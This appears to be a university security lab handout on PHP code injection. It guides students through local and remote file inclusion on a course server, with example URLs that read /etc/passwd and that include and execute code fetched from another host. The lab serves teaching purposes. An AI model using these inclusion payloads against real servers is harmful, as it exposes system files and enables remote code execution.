Code Injection
IN618 Security

Introduction

In this lab we will see how insecure coding practices lead to a *code injection* vulnerability.

1 Probe for the vulnerability

Visit the web page at `http://in618.sqrawler.com/includes/`. If you inspect this page now you will not find the vulnerabilty, but what about `http://in618.sqrawler.com/includes?file=safe` ? Before you read further, try to answer the following questions:

1. What do you think leads to the difference in the two views above?

2. Can you think of any ways to exploit this?

You can see more directly what is happening by visiting `http://in618.sqrawler.com/includes/safe`. The web page we looked at above reads in this file and the server executes the php code to insert the date and time into the page. Including code from another file like this is a common practice, but in this case it has been used carelessly, leading to a vulnerability. We can try to include other files in the page besides the one that was intended.

Try visiting `http://in618.sqrawler.com/includes/?file=/etc/passwd`. It turns out that we can exploit this to view almost any file on the server. But it turns out that we can do even more than this. What if it's possible to include files on remote systems?

Let's try it. Visit the url `http://in618.sqrawler.com/includes/?file=http://sec-student.sqrawler.com/~tclark/unsafe`. You can inspect the included file at `http://sec-student.sqrawler.com/~tclark/unsafe`.

1. Knowing this, what does this mean you can do?

2. Now write your own file and save it in your `public_html` directory on `sec-student`. Use the method above to get your code included in the web page at `http://in618.sqrawler.com/includes/`. Write your url below.

The vulnerabilities we've seen are the results of three programming mistakes. We'll talk about them in class, but can you see what they are before we discuss it?